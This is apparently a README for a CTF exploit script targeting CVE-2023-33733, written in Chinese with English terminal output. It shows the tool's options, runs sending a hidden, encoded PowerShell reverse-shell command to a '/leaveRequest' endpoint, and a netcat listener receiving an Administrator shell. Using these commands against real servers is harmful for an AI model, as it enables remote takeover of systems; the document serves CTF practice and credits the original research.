我并未发现此漏洞,也不对此负责。此脚本仅是我为CTF更轻松地利用此漏洞而构建的。原始信息请参考:https://github.com/c53elyas/CVE-2023-33733
此脚本仅是一个用于利用CVE-2023-33733的快速Python3脚本。您需要提供主机、端口、命令以及有效的会话cookie。
kali@kali:~/Desktop$ python3 exp.py --help
usage: foothold.py [-h] --host HOST --port PORT --cmd CMD --session SESSION
options:
-h, --help show this help message and exit
--host HOST
--port PORT, -p PORT
--cmd CMD, -c CMD
--username USERNAME, -u USERNAME
--password PASSWORD, -ps PASSWORD
--session SESSION, --cookie SESSION, -sc SESSION
Session cookie
kali@kali:~/Desktop$ python3 exp.py --host "vuln.server" --port 80 --cmd "powershell -nop -w hidden -e <your revshell code here>" --username "<your username here>" --password "<your password here>"
[*] Logging in to http://vuln.server:80
Retreived session cookie: SESSION=...
[*] Extracting session token...
[*] Token extracted: .abc.xyz
[*] Building Exploit...
[*] Exploit built
[*] Preparing request
[*] Sending request to http://vuln.server:80/leaveRequest
[*] Sending a reverse shell should cause request to hang
[*] Request sent
[*] Probable success. Status Code 504
kali@kali:~/Desktop$ python3 exp.py --host "vuln.server" --port 80 --cmd "powershell -nop -w hidden -e <your revshell code here>" --session "<your cookie here>"
[*] Building Exploit...
[*] Exploit built
[*] Preparing request
[*] Sending request to http://vuln.server:80/leaveRequest
[*] Sending a reverse shell should cause request to hang
[*] Request sent
[*] Probable success. Status Code 500
# 监听器
kali@kali:~/Desktop$ nc -lnvp 9001
connect to [10.10.10.2] from (UNKNOWN) [10.10.10.1] 50246
whoami
Administrator